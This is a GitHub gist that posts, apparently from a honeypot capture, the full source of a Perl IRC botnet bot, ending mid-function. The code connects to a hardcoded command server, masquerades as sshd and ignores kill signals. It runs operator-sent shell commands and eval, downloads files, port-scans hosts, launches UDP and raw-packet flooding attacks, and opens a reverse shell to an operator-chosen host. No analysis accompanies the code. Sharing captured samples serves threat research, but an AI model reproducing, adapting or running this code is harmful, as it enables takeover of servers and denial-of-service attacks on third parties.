Created
July 14, 2023 15:41
-
-
Save prafiles/8ae3611523cd2085e89a96cf5581fddd to your computer and use it in GitHub Desktop.
Malware scripts from Honeypot
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #!/usr/bin/perl | |
| my @mast3rs = ("w","Pula"); | |
| my @hostauth = ("w"); | |
| my @admchan=("#x"); | |
| my @server = ("49.212.234.206"); | |
| $servidor= $server[rand scalar @server] unless $servidor; | |
| my $xeqt = "!"; | |
| my $homedir = "/tmp"; | |
| my $shellaccess = 1; | |
| my $xstats = 1; | |
| my $pacotes = 1; | |
| my $linas_max = 5; | |
| my $sleep = 6; | |
| my $portime = 4; | |
| my @fakeps = ("/usr/sbin/sshd"); | |
| my @nickname = ("Linux"); | |
| my @xident = ("KAST"); | |
| my @xname = (`uname -a`); | |
| ################# | |
| # Random Ports | |
| ################# | |
| my @rports = ("3303"); | |
| my @Mrx = ("\001mIRC32 v5.91 K.Mardam-Bey\001","\001mIRC v6.2 Khaled Mardam-Bey\001", | |
| "\001mIRC v6.03 Khaled Mardam-Bey\001","\001mIRC v6.14 Khaled Mardam-Bey\001", | |
| "\001mIRC v6.15 Khaled Mardam-Bey\001","\001mIRC v6.16 Khaled Mardam-Bey\001", | |
| "\001mIRC v6.17 Khaled Mardam-Bey\001","\001mIRC v6.21 Khaled Mardam-Bey\001", | |
| "\001Snak for Macintosh 4.9.8 English\001", | |
| "\001DvC v0.1 PHP-5.1.1 based on Net_SmartIRC\001", | |
| "\001PIRCH98:WIN 95/98/WIN NT:1.0 (build 1.0.1.1190)\001", | |
| "\001xchat 2.6.2 Linux 2.6.18.5 [i686/2.67GHz]\001", | |
| "\001xchat:2.4.3:Linux 2.6.17-1.2142_FC4 [i686/2,00GHz]\001", | |
| "\001xchat:2.4.3:Linux 2.6.17-1.2142_FC4 [i686/1.70GHz]\001", | |
| "\001XChat-GNOME IRC Chat 0.16 Linux 2.6.20-8-generic [i686]\001", | |
| "\001ircN 7.27 + 7.0 - -\001","\001..(argon/1g) :bitchx-1.0c17\001", | |
| "\001ircN 8.00 - he tries to tell me what I put inside of me - \001", | |
| "\001FreeBSD!4.11-STABLE bitchx-1.0c18 - prevail[0123] :down with people\001", | |
| "\001BitchX-1.0c19+ by panasync - Linux 2.4.31 : Keep it to yourself!\001", | |
| "\001BitchX-1.0c19+ by panasync - Linux 2.4.33.3 : Keep it to yourself!\001", | |
| "\001BitchX-1.1-final+ by panasync - Linux 2.6.18.1 : Keep it to yourself!\001", | |
| "\001BitchX-1.0c19 by panasync - freebsd 4.10-STABLE : Keep it to yourself!\001", | |
| "\001BitchX-1.1-final+ by panasync - FreeBSD 4.5-STABLE : Keep it to yourself!\001", | |
| "\001BitchX-1.1-final+ by panasync - FreeBSD 6.0-RELEASE : Keep it to yourself!\001", | |
| "\001BitchX-1.1-final+ by panasync - FreeBSD 5.3-RELEASE : Keep it to yourself!\001", | |
| "\001bitchx-1.0c18 :tunnelvision/1.2\001","\001PnP 4.22 - http://www.pairc.com/\001", | |
| "\001BitchX-1.0c17/FreeBSD 4.10-RELEASE:(c)rackrock/bX [3.0.1??9] : Keep it to yourself!\001", | |
| "\001P&P 4.22.2 (in development) + X Z P Bots, Sound, NickServ, ChanServ, Extras\001", | |
| "\001HydraIRC v0.3.148 (18/Jan/2005) by Dominic Clifton aka Hydra - #HydraIRC on EFNet\001", | |
| "\001irssi v0.8.10 - running on Linux i586\001","\001irssi v0.8.10 - running on FreeBSD i386\001", | |
| "\001ircII 20050423+ScrollZ 1.9.5 (19.12.2004)+Cdcc v1.6mods v1.0 by acidflash - Almost there\001", | |
| "\001ircII 20050423+ScrollZ 1.9.5 (19.12.2004)+Cdcc v1.8+OperMods v1.0 by acidflash - Almost there\001"); | |
| # Default quick scan ports | |
| my @portas=("21","22","23","25","53","80","110","113","143","3306","4000","5900","6667","6668","6669","7000","10000","12345","31337","65501"); | |
| # xeQt | |
| #my $nick = "Power"; | |
| my $nick = $nickname[rand scalar @nickname]; | |
| my $realname = $xname[rand scalar @xname]; | |
| my $ircname = $xident[rand scalar @xident]; | |
| my $porta = $rports[rand scalar @rports]; | |
| my $xproc = $fakeps[rand scalar @fakeps]; | |
| my $Mrx = $Mrx[rand scalar @Mrx]; | |
| my $version = 'PowerBots (C) GohacK'; | |
| my $echo = "`echo` $1"; | |
| $SIG{'INT'} = 'IGNORE'; | |
| $SIG{'HUP'} = 'IGNORE'; | |
| $SIG{'TERM'} = 'IGNORE'; | |
| $SIG{'CHLD'} = 'IGNORE'; | |
| $SIG{'PS'} = 'IGNORE'; | |
| use IO::Socket; | |
| use Socket; | |
| use IO::Select; | |
| chdir("$homedir"); | |
| $servidor="$ARGV[0]" if $ARGV[0]; | |
| $0="$xproc"."\0"; | |
| my $pid=fork; | |
| exit if $pid; | |
| die "[x] -> Cannot fork into background: $!" unless defined($pid); | |
| my %irc_servers; | |
| my %DCC; | |
| my $dcc_sel = new IO::Select->new(); | |
| sub getnick { | |
| return "$nickname[rand scalar @nickname]".int(rand(20000)); | |
| } | |
| sub getstore ($$) | |
| { | |
| my $url = shift; | |
| my $file = shift; | |
| $http_stream_out = 1; | |
| open(GET_OUTFILE, "> $file"); | |
| %http_loop_check = (); | |
| _get($url); | |
| close GET_OUTFILE; | |
| return $main::http_get_result; | |
| } | |
| sub _get | |
| { | |
| my $url = shift; | |
| my $proxy = ""; | |
| grep {(lc($_) eq "http_proxy") && ($proxy = $ENV{$_})} keys %ENV; | |
| if (($proxy eq "") && $url =~ m,^http://([^/:]+)(?::(\d+))?(/\S*)?$,) { | |
| my $host = $1; | |
| my $port = $2 || 80; | |
| my $path = $3; | |
| $path = "/" unless defined($path); | |
| return _trivial_http_get($host, $port, $path); | |
| } elsif ($proxy =~ m,^http://([^/:]+):(\d+)(/\S*)?$,) { | |
| my $host = $1; | |
| my $port = $2; | |
| my $path = $url; | |
| return _trivial_http_get($host, $port, $path); | |
| } else { | |
| return undef; | |
| } | |
| } | |
| sub _trivial_http_get | |
| { | |
| my($host, $port, $path) = @_; | |
| my($AGENT, $VERSION, $p); | |
| #print "HOST=$host, PORT=$port, PATH=$path\n"; | |
| $AGENT = "get-minimal"; | |
| $VERSION = "20000118"; | |
| $path =~ s/ /%20/g; | |
| require IO::Socket; | |
| local($^W) = 0; | |
| my $sock = IO::Socket::INET->new(PeerAddr => $host, PeerPort => $port, Proto => 'tcp', Timeout => 60) || return; | |
| $sock->autoflush; | |
| my $netloc = $host; | |
| $netloc .= ":$port" if $port != 80; | |
| my $request = "GET $path HTTP/1.0\015\012" | |
| . "Host: $netloc\015\012" | |
| . "User-Agent: $AGENT/$VERSION/u\015\012"; | |
| $request .= "Pragma: no-cache\015\012" if ($main::http_no_cache); | |
| $request .= "\015\012"; | |
| print $sock $request; | |
| my $buf = ""; | |
| my $n; | |
| my $b1 = ""; | |
| while ($n = sysread($sock, $buf, 8*1024, length($buf))) { | |
| if ($b1 eq "") { | |
| $b1 = $buf; | |
| $buf =~ s/.+?\015?\012\015?\012//s; | |
| } | |
| if ($http_stream_out) { print GET_OUTFILE $buf; $buf = ""; } | |
| } | |
| return undef unless defined($n); | |
| $main::http_get_result = 200; | |
| if ($b1 =~ m,^HTTP/\d+\.\d+\s+(\d+)[^\012]*\012,) { | |
| $main::http_get_result = $1; | |
| # print "CODE=$main::http_get_result\n$b1\n"; | |
| if ($main::http_get_result =~ /^30[1237]/ && $b1 =~ /\012Location:\s*(\S+)/) { | |
| my $url = $1; | |
| return undef if $http_loop_check{$url}++; | |
| return _get($url); | |
| } | |
| return undef unless $main::http_get_result =~ /^2/; | |
| } | |
| return $buf; | |
| } | |
| $sel_cliente = IO::Select->new(); | |
| sub sendraw { | |
| if ($#_ == '1') { | |
| my $socket = $_[0]; | |
| print $socket "$_[1]\n"; | |
| } else { | |
| print $IRC_cur_socket "$_[0]\n"; | |
| } | |
| } | |
| sub conectar { | |
| my $meunick = $_[0]; | |
| my $servidor_con = $_[1]; | |
| my $porta_con = $_[2]; | |
| my $IRC_socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$servidor_con", PeerPort=>$porta_con) or return(1); | |
| if (defined($IRC_socket)) { | |
| $IRC_cur_socket = $IRC_socket; | |
| $IRC_socket->autoflush(1); | |
| $sel_cliente->add($IRC_socket); | |
| $irc_servers{$IRC_cur_socket}{'host'} = "$servidor_con"; | |
| $irc_servers{$IRC_cur_socket}{'porta'} = "$porta_con"; | |
| $irc_servers{$IRC_cur_socket}{'nick'} = $meunick; | |
| $irc_servers{$IRC_cur_socket}{'meuip'} = $IRC_socket->sockhost; | |
| nick("$meunick"); | |
| sendraw("USER $ircname ".$IRC_socket->sockhost." $servidor_con :$realname"); | |
| sleep 2; | |
| } | |
| } | |
| my $line_temp; | |
| while( 1 ) { | |
| while (!(keys(%irc_servers))) { conectar("$nick", "$servidor", "$porta"); } | |
| delete($irc_servers{''}) if (defined($irc_servers{''})); | |
| &DCC::connections; | |
| my @ready = $sel_cliente->can_read(0.6); | |
| next unless(@ready); | |
| foreach $fh (@ready) { | |
| $IRC_cur_socket = $fh; | |
| $meunick = $irc_servers{$IRC_cur_socket}{'nick'}; | |
| $nread = sysread($fh, $msg, 4096); | |
| if ($nread == 0) { | |
| $sel_cliente->remove($fh); | |
| $fh->close; | |
| delete($irc_servers{$fh}); | |
| } | |
| @lines = split (/\n/, $msg); | |
| for(my $c=0; $c<= $#lines; $c++) { | |
| $line = $lines[$c]; | |
| $line=$line_temp.$line if ($line_temp); | |
| $line_temp=''; | |
| $line =~ s/\r$//; | |
| unless ($c == $#lines) { | |
| parse("$line"); | |
| } else { | |
| if ($#lines == 0) { | |
| parse("$line"); | |
| } elsif ($lines[$c] =~ /\r$/) { | |
| parse("$line"); | |
| } elsif ($line =~ /^(\S+) NOTICE AUTH :\*\*\*/) { | |
| parse("$line"); | |
| } else { | |
| $line_temp = $line; | |
| } | |
| } | |
| } | |
| } | |
| } | |
| sub parse { | |
| my $servarg = shift; | |
| if ($servarg =~ /^PING \:(.*)/) { | |
| sendraw("PONG :$1"); | |
| } elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?) PRIVMSG (.+?) \:(.+)/) { | |
| my $pn=$1; my $hostnam3=$3; my $onde = $4; my $args = $5; | |
| if ($args =~ /^\001VERSION\001$/) { | |
| notice("$pn", "".$Mrx.""); | |
| } | |
| elsif ($args =~ /^\001PING\s+(\d+)\001$/) { | |
| notice("$pn", "\001PONG\001"); | |
| } | |
| if (grep {$_ =~ /^\Q$hostnam3\E$/i } @hostauth) { | |
| if (grep {$_ =~ /^\Q$pn\E$/i } @mast3rs) { | |
| if ($onde eq "$meunick"){ | |
| shell("$pn", "$args"); | |
| } | |
| if ($args =~ /^!(.*)/){ | |
| ircase("$pn","$chan","$1"); | |
| } | |
| if ($args =~ /^(\Q$meunick\E|\Q$xeqt\E)\s+(.*)/ ) { | |
| my $natrix = $1; | |
| my $arg = $2; | |
| if ($arg =~ /^\!(.*)/) { | |
| ircase("$pn","$onde","$1"); | |
| } elsif ($arg =~ /^\@(.*)/) { | |
| $ondep = $onde; | |
| $ondep = $pn if $onde eq $meunick; | |
| bfunc("$ondep","$1"); | |
| } else { | |
| shell("$onde", "$arg"); | |
| } | |
| } | |
| } | |
| } | |
| } elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?)\s+NICK\s+\:(\S+)/i) { | |
| if (lc($1) eq lc($meunick)) { | |
| $meunick=$4; | |
| $irc_servers{$IRC_cur_socket}{'nick'} = $meunick; | |
| } | |
| } elsif ($servarg =~ m/^\:(.+?)\s+433/i) { | |
| $meunick = getnick(); | |
| nick("".$meunick."-"); | |
| } elsif ($servarg =~ m/^\:(.+?)\s+001\s+(\S+)\s/i) { | |
| $meunick = $2; | |
| $irc_servers{$IRC_cur_socket}{'nick'} = $meunick; | |
| $irc_servers{$IRC_cur_socket}{'nome'} = "$1"; | |
| foreach my $canal (@admchan){ | |
| sendraw("JOIN $canal muietie"); | |
| } | |
| } | |
| } | |
| sub bfunc { | |
| my $printl = $_[0]; | |
| my $funcarg = $_[1]; | |
| if (my $pid = fork) { | |
| waitpid($pid, 0); | |
| } else { | |
| if (fork) | |
| { | |
| exit; | |
| } | |
| else | |
| { | |
| # Quick scan | |
| if ($funcarg =~ /^ps (.*)/) { | |
| my $hostip="$1"; | |
| sendraw($IRC_cur_socket, "PRIVMSG $printl :\002\00312Portscanning\003\002: $1 \002\00312Ports:\003\002 default"); | |
| my (@aberta, %porta_banner); | |
| foreach my $porta (@portas) { | |
| my $scansock = IO::Socket::INET->new(PeerAddr => $hostip, PeerPort => $porta, Proto => 'tcp', Timeout => $portime); | |
| if ($scansock) { | |
| push (@aberta, $porta); | |
| $scansock->close; | |
| sendraw($IRC_cur_socket, "PRIVMSG $printl :Found: $porta"."/Open"); | |
| } | |
| } | |
| if (@aberta) { | |
| sendraw($IRC_cur_socket, "PRIVMSG $printl :Port Scan Complete with target: $1 "); | |
| } else { | |
| sendraw($IRC_cur_socket,"PRIVMSG $printl :\002[x]\0034 No open ports found on\002 $1"); | |
| } | |
| } | |
| # NMAP, lol | |
| elsif ($funcarg =~ /^nmap\s+(.*)\s+(\d+)\s+(\d+)/) | |
| { | |
| my $hostname="$1"; | |
| my $portstart = "$2"; | |
| my $portend = "$3"; | |
| my (@abertas, %porta_banner); | |
| sendraw($IRC_cur_socket, "PRIVMSG $printl :\002\00312xMap Portscanning\003\002: $1 \002\00312Ports:\003\002 $2-$3"); | |
| foreach my $porta ($portstart..$portend) | |
| { | |
| my $scansock = IO::Socket::INET->new(PeerAddr => $hostname, PeerPort => $porta, Proto => 'tcp', Timeout => $portime); | |
| if ($scansock) { | |
| push (@abertas, $porta); | |
| $scansock->close; | |
| if ($xstats) | |
| { | |
| sendraw($IRC_cur_socket, "PRIVMSG $printl :Found: $porta"."/Open"); | |
| } | |
| } | |
| } | |
| if (@abertas) { | |
| sendraw($IRC_cur_socket, "PRIVMSG $printl :\002\00312Scan Complate\003\002"); | |
| } else { | |
| sendraw($IRC_cur_socket,"PRIVMSG $printl :\002\00312No ports found..\002"); | |
| } | |
| } | |
| # Remove | |
| elsif ($funcarg =~ /^rm/) | |
| { | |
| system("cd /var/tmp ; rm -rf cb find god* wunder* udev* lib*"); | |
| sendraw($IRC_cur_socket, "PRIVMSG $printl :\002\00312(Quickdel)\002\00314 Removed files and folders "); | |
| } | |
| # Version | |
| elsif ($funcarg =~ /^version/) | |
| { | |
| sendraw($IRC_cur_socket, "PRIVMSG $printl :\002\00312(Version)\002\00314 $version "); | |
| } | |
| # Download | |
| elsif ($funcarg =~ /^down\s+(.*)\s+(.*)/) | |
| { | |
| getstore("$1", "$2"); | |
| sendraw($IRC_cur_socket, "PRIVMSG $printl :\002\00312(Download)\002\00314 Page: $2 (File: $1)") if ($xstats); | |
| } | |
| # Udp | |
| elsif ($funcarg =~ /^udp\s+(.*)\s+(\d+)\s+(\d+)/) { | |
| return unless $pacotes; | |
| socket(Tr0x, PF_INET, SOCK_DGRAM, 17); | |
| my $alvo=inet_aton("$1"); | |
| my $porta = "$2"; | |
| my $tempo = "$3"; | |
| my $pacote; | |
| my $pacotese; | |
| my $fim = time + $tempo; | |
| my $pacota = 1; | |
| sendraw($IRC_cur_socket, "PRIVMSG $printl :\002\00312(UDP DDoSing)\003 Attacking\002: $1 - \002Time\002: $tempo"."seconds"); | |
| while (($pacota == "1") && ($pacotes == "1")) { | |
| $pacota = 0 if ((time >= $fim) && ($tempo != "0")); | |
| $pacote=$rand x $rand x $rand; | |
| $porta = int(rand 65000) +1 if ($porta == "0"); | |
| send(Tr0x, 0, $pacote, sockaddr_in($porta, $alvo)) and $pacotese++ if ($pacotes == "1"); | |
| } | |
| if ($xstats) | |
| { | |
| sendraw($IRC_cur_socket, "PRIVMSG $printl :\002\00312(UDP Complete):\003\002 $1 - \002Sendt\002: $pacotese"."kb - \002Time\002: $tempo"."seconds"); | |
| } | |
| } | |
| # Backconnect | |
| elsif ($funcarg =~ /^back\s+(.*)\s+(\d+)/) { | |
| my $host = "$1"; | |
| my $porta = "$2"; | |
| my $proto = getprotobyname('tcp'); | |
| my $iaddr = inet_aton($host); | |
| my $paddr = sockaddr_in($porta, $iaddr); | |
| my $shell = "/bin/sh -i"; | |
| if ($^O eq "MSWin32") { | |
| $shell = "cmd.exe"; | |
| } | |
| socket(SOCKET, PF_INET, SOCK_STREAM, $proto) or die "socket: $!"; | |
| connect(SOCKET, $paddr) or die "connect: $!"; | |
| sendraw($IRC_cur_socket, "PRIVMSG $printl :\002[x] ->\0034 Injection ..."); | |
| open(STDIN, ">&SOCKET"); | |
| open(STDOUT, ">&SOCKET"); | |
| open(STDERR, ">&SOCKET"); | |
| system("$shell"); | |
| system("cd /tmp/.mrx"); | |
| close(STDIN); | |
| close(STDOUT); | |
| close(STDERR); | |
| } | |
| exit; | |
| } | |
| } | |
| } | |
| sub ircase { | |
| my ($kem, $printl, $case) = @_; | |
| if ($case =~ /^join (.*)/) { | |
| j("$1"); | |
| } | |
| elsif ($case =~ /^part (.*)/) { | |
| p("$1"); | |
| } | |
| elsif ($case =~ /^rejoin\s+(.*)/) { | |
| my $chan = $1; | |
| if ($chan =~ /^(\d+) (.*)/) { | |
| for (my $ca = 1; $ca <= $1; $ca++ ) { | |
| p("$2"); | |
| j("$2"); | |
| } | |
| } else { | |
| p("$chan"); | |
| j("$chan"); | |
| } | |
| } | |
| elsif ($case =~ /^op/) { | |
| op("$printl", "$kem") if $case eq "op"; | |
| my $oarg = substr($case, 3); | |
| op("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/); | |
| } | |
| elsif ($case =~ /^deop/) { | |
| deop("$printl", "$kem") if $case eq "deop"; | |
| my $oarg = substr($case, 5); | |
| deop("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/); | |
| } | |
| elsif ($case =~ /^voice/) { | |
| voice("$printl", "$kem") if $case eq "voice"; | |
| $oarg = substr($case, 6); | |
| voice("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/); | |
| } | |
| elsif ($case =~ /^devoice/) { | |
| devoice("$printl", "$kem") if $case eq "devoice"; | |
| $oarg = substr($case, 8); | |
| devoice("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/); | |
| } | |
| elsif ($case =~ /^msg\s+(\S+) (.*)/) { | |
| msg("$1", "$2"); | |
| } | |
| elsif ($case =~ /^flood\s+(\d+)\s+(\S+) (.*)/) { | |
| for (my $cf = 1; $cf <= $1; $cf++) { | |
| msg("$2", "$3"); | |
| } | |
| } | |
| elsif ($case =~ /^ctcpflood\s+(\d+)\s+(\S+) (.*)/) { | |
| for (my $cf = 1; $cf <= $1; $cf++) { | |
| ctcp("$2", "$3"); | |
| } | |
| } | |
| elsif ($case =~ /^ctcp\s+(\S+) (.*)/) { | |
| ctcp("$1", "$2"); | |
| } | |
| elsif ($case =~ /^invite\s+(\S+) (.*)/) { | |
| invite("$1", "$2"); | |
| } | |
| elsif ($case =~ /^echo/) { | |
| system("echo $meunick > `pwd`/botnick"); | |
| msg("done"); | |
| } | |
| elsif ($case =~ /^nick (.*)/) { | |
| nick("$1"); | |
| } | |
| elsif ($case =~ /^jump\s+(\S+)\s+(\S+)/) { | |
| conectar("$2", "$1", 6667); | |
| } | |
| elsif ($case =~ /^send\s+(\S+)\s+(\S+)/) { | |
| DCC::SEND("$1", "$2"); | |
| } | |
| elsif ($case =~ /^raw (.*)/) { | |
| sendraw("$1"); | |
| } | |
| elsif ($case =~ /^eval (.*)/) { | |
| eval "$1"; | |
| } | |
| elsif ($case =~ /^rj\s+(\S+)\s+(\d+)/) { | |
| sleep int(rand($2)); | |
| j("$1"); | |
| } | |
| elsif ($case =~ /^rp\s+(\S+)\s+(\d+)/) { | |
| sleep int(rand($2)); | |
| p("$1"); | |
| } | |
| elsif ($case =~ /^quit/) { | |
| quit(); | |
| } | |
| elsif ($case =~ /^rand/) { | |
| my $novonick = getnick(); | |
| nick("$novonick"); | |
| } | |
| elsif ($case =~ /^stat (.*)/) { | |
| if ($1 eq "on") { | |
| $xstats = 1; | |
| msg("$printl", "Satus enabled"); | |
| } elsif ($1 eq "off") { | |
| $xstats = 0; | |
| msg("$printl", "Status disable"); | |
| } | |
| } | |
| elsif ($case =~ /^bang (.*)/) { | |
| if ($1 eq "on") { | |
| $pacotes = 1; | |
| msg("$printl", "[x] Bang mode enabled") if ($xstats == "1"); | |
| } elsif ($1 eq "off") { | |
| $pacotes = 0; | |
| msg("$printl", "[x] Bang mode disabled") if ($xstats == "1"); | |
| } | |
| } | |
| } | |
| sub shell { | |
| return unless $shellaccess; | |
| my $printl=$_[0]; | |
| my $comando=$_[1]; | |
| if ($comando =~ /cd (.*)/) { | |
| chdir("$1") || msg("$printl", "cd: $1".": No such file or directory"); | |
| return; | |
| } | |
| elsif ($pid = fork) { | |
| waitpid($pid, 0); | |
| } else { | |
| if (fork) { | |
| exit; | |
| } else { | |
| my @resp=`$comando 2>&1 3>&1`; | |
| my $c=0; | |
| foreach my $linha (@resp) { | |
| $c++; | |
| chop $linha; | |
| sendraw($IRC_cur_socket, "PRIVMSG $printl :$linha"); | |
| if ($c >= "$linas_max") { | |
| $c=0; | |
| sleep $sleep; | |
| } | |
| } | |
| exit; | |
| } | |
| } | |
| } | |
| sub attacker { | |
| my $iaddr = inet_aton($_[0]); | |
| my $msg = 'B' x $_[1]; | |
| my $ftime = $_[2]; | |
| my $cp = 0; | |
| my (%pacotes); | |
| $pacotes{icmp} = $pacotes{igmp} = $pacotes{udp} = $pacotes{o} = $pacotes{tcp} = 0; | |
| socket(SOCK1, PF_INET, SOCK_RAW, 2) or $cp++; | |
| socket(SOCK2, PF_INET, SOCK_DGRAM, 17) or $cp++; | |
| socket(SOCK3, PF_INET, SOCK_RAW, 1) or $cp++; | |
| socket(SOCK4, PF_INET, SOCK_RAW, 6) or $cp++; | |
| return(undef) if $cp == 4; | |
| my $itime = time; | |
| my ($cur_time); | |
| while ( 1 ) { | |
| for (my $porta = 1; $porta <= 65535; $porta++) { | |
| $cur_time = time - $itime; | |
| last if $cur_time >= $ftime; | |
| send(SOCK1, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{igmp}++ if ($pacotes == 1); | |
| send(SOCK2, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{udp}++ if ($pacotes == 1); | |
| send(SOCK3, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{icmp}++ if ($pacotes == 1); | |
| send(SOCK4, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{tcp}++ if ($pacotes == 1); | |
| for (my $pc = 3; $pc <= 255;$pc++) { | |
| next if $pc == 6; | |
| $cur_time = time - $itime; | |
| last if $cur_time >= $ftime; | |
| socket(SOCK5, PF_INET, SOCK_RAW, $pc) or next; | |
| send(SOCK5, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{o}++ if ($pacotes == 1); | |
| } | |
| } | |
| last if $cur_time >= $ftime; | |
| } | |
| return($cur_time, %pacotes); | |
| } | |
| sub action { | |
| return unless $#_ == 1; | |
| sendraw("PRIVMSG $_[0] :\001ACTION $_[1]\001"); | |
| } | |
| sub ctcp { | |
| return unless $#_ == 1; | |
| sendraw("PRIVMSG $_[0] :\001$_[1]\001"); | |
| } | |
| sub msg { | |
| return unless $#_ == 1; | |
| sendraw("PRIVMSG $_[0] :$_[1]"); | |
| } | |
| sub notice { | |
| return unless $#_ == 1; | |
| sendraw("NOTICE $_[0] :$_[1]"); | |
| } | |
| sub op { | |
| return unless $#_ == 1; | |
| sendraw("MODE $_[0] +o $_[1]"); | |
| } | |
| sub deop { | |
| return unless $#_ == 1; | |
| sendraw("MODE $_[0] -o $_[1]"); | |
| } | |
| sub hop { | |
| return unless $#_ == 1; | |
| sendraw("MODE $_[0] +h $_[1]"); | |
| } | |
| sub dehop { | |
| return unless $#_ == 1; | |
| sendraw("MODE $_[0] +h $_[1]"); | |
| } | |
| sub voice { | |
| return unless $#_ == 1; | |
| sendraw("MODE $_[0] +v $_[1]"); | |
| } | |
| sub devoice { | |
| return unless $#_ == 1; | |
| sendraw("MODE $_[0] -v $_[1]"); | |
| } | |
| sub ban { | |
| return unless $#_ == 1; | |
| sendraw("MODE $_[0] +b $_[1]"); | |
| } | |
| sub unban { | |
| return unless $#_ == 1; | |
| sendraw("MODE $_[0] -b $_[1]"); | |
| } | |
| sub kick { | |
| return unless $#_ == 1; | |
| sendraw("KICK $_[0] $_[1] :$_[2]"); | |
| } | |
| sub modo { | |
| return unless $#_ == 0; | |
| sendraw("MODE $_[0] $_[1]"); | |
| } | |
| sub mode { modo(@_); } | |
| sub j { &join(@_); } | |
| sub join { | |
| return unless $#_ == 0; | |
| sendraw("JOIN $_[0]"); | |
| } | |
| sub p { part(@_); } | |
| sub part {sendraw("PART $_[0]");} | |
| sub nick { | |
| return unless $#_ == 0; | |
| sendraw("NICK $_[0]"); | |
| } | |
| sub invite { | |
| return unless $#_ == 1; | |
| sendraw("INVITE $_[1] $_[0]"); | |
| } | |
| sub topico { | |
| return unless $#_ == 1; | |
| sendraw("TOPIC $_[0] $_[1]"); | |
| } | |
| sub topic { topico(@_); } | |
| sub whois { | |
| return unless $#_ == 0; | |
| sendraw("WHOIS $_[0]"); | |
| } | |
| sub who { | |
| return unless $#_ == 0; | |
| sendraw("WHO $_[0]"); | |
| } | |
| sub names { | |
| return unless $#_ == 0; | |
| sendraw("NAMES $_[0]"); | |
| } | |
| sub away { | |
| sendraw("AWAY $_[0]"); | |
| } | |
| sub back { away(); } | |
| sub quit { | |
| sendraw("QUIT :$_[0]"); | |
| exit; | |
| } | |
| package DCC; | |
| sub connections { | |
| my @ready = $dcc_sel->can_read(1); | |
| # return unless (@ready); | |
| foreach my $fh (@ready) { | |
| my $dcctipo = $DCC{$fh}{tipo}; | |
| my $arquivo = $DCC{$fh}{arquivo}; | |
| my $bytes = $DCC{$fh}{bytes}; | |
| my $cur_byte = $DCC{$fh}{curbyte}; | |
| my $nick = $DCC{$fh}{nick}; | |
| my $msg; | |
| my $nread = sysread($fh, $msg, 10240); | |
| if ($nread == 0 and $dcctipo =~ /^(get|sendcon)$/) { | |
| $DCC{$fh}{status} = "Cancelado"; | |
| $DCC{$fh}{ftime} = time; | |
| $dcc_sel->remove($fh); | |
| $fh->close; | |
| next; | |
| } | |
| if ($dcctipo eq "get") { | |
| $DCC{$fh}{curbyte} += length($msg); | |
| my $cur_byte = $DCC{$fh}{curbyte}; | |
| open(FILE, ">> $arquivo"); | |
| print FILE "$msg" if ($cur_byte <= $bytes); | |
| close(FILE); | |
| my $packbyte = pack("N", $cur_byte); | |
| print $fh "$packbyte"; | |
| if ($bytes == $cur_byte) { | |
| $dcc_sel->remove($fh); | |
| $fh->close; | |
| $DCC{$fh}{status} = "Recebido"; | |
| $DCC{$fh}{ftime} = time; | |
| next; | |
| } | |
| } elsif ($dcctipo eq "send") { | |
| my $send = $fh->accept; | |
| $send->autoflush(1); | |
| $dcc_sel->add($send); | |
| $dcc_sel->remove($fh); | |
| $DCC{$send}{tipo} = 'sendcon'; | |
| $DCC{$send}{itime} = time; | |
| $DCC{$send}{nick} = $nick; | |
| $DCC{$send}{bytes} = $bytes; | |
| $DCC{$send}{curbyte} = 0; | |
| $DCC{$send}{arquivo} = $arquivo; | |
| $DCC{$send}{ip} = $send->peerhost; | |
| $DCC{$send}{porta} = $send->peerport; | |
| $DCC{$send}{status} = "Enviando"; | |
| open(FILE, "< $arquivo"); | |
| my $fbytes; | |
| read(FILE, $fbytes, 1024); | |
| print $send "$fbytes"; | |
| close FILE; | |
| # delete($DCC{$fh}); | |
| } elsif ($dcctipo eq 'sendcon') { | |
| my $bytes_sended = unpack("N", $msg); | |
| $DCC{$fh}{curbyte} = $bytes_sended; | |
| if ($bytes_sended == $bytes) { | |
| $fh->close; | |
| $dcc_sel->remove($fh); | |
| $DCC{$fh}{status} = "Enviado"; | |
| $DCC{$fh}{ftime} = time; | |
| next; | |
| } | |
| open(SENDFILE, "< $arquivo"); | |
| seek(SENDFILE, $bytes_sended, 0); | |
| my $send_bytes; | |
| read(SENDFILE, $send_bytes, 1024); | |
| print $fh "$send_bytes"; | |
| close(SENDFILE); | |
| } | |
| } | |
| } | |
| sub SEND { | |
| my ($nick, $arquivo) = @_; | |
| unless (-r "$arquivo") { | |
| return(0); | |
| } | |
| my $dccark = $arquivo; | |
| $dccark =~ s/[.*\/](\S+)/$1/; | |
| my $meuip = $::irc_servers{"$::IRC_cur_socket"}{'meuip'}; | |
| my $longip = unpack("N",inet_aton($meuip)); | |
| my @filestat = stat($arquivo); | |
| my $size_total=$filestat[7]; | |
| if ($size_total == 0) { | |
| return(0); | |
| } | |
| my ($porta, $sendsock); | |
| do { | |
| $porta = int rand(64511); | |
| $porta += 1024; | |
| $sendsock = IO::Socket::INET->new(Listen=>1, LocalPort =>$porta, Proto => 'tcp') and $dcc_sel->add($sendsock); | |
| } until $sendsock; | |
| $DCC{$sendsock}{tipo} = 'send'; | |
| $DCC{$sendsock}{nick} = $nick; | |
| $DCC{$sendsock}{bytes} = $size_total; | |
| $DCC{$sendsock}{arquivo} = $arquivo; | |
| &::ctcp("$nick", "DCC SEND $dccark $longip $porta $size_total"); | |
| } | |
| sub GET { | |
| my ($arquivo, $dcclongip, $dccporta, $bytes, $nick) = @_; | |
| return(0) if (-e "$arquivo"); | |
| if (open(FILE, "> $arquivo")) { | |
| close FILE; | |
| } else { | |
| return(0); | |
| } | |
| my $dccip=fixaddr($dcclongip); | |
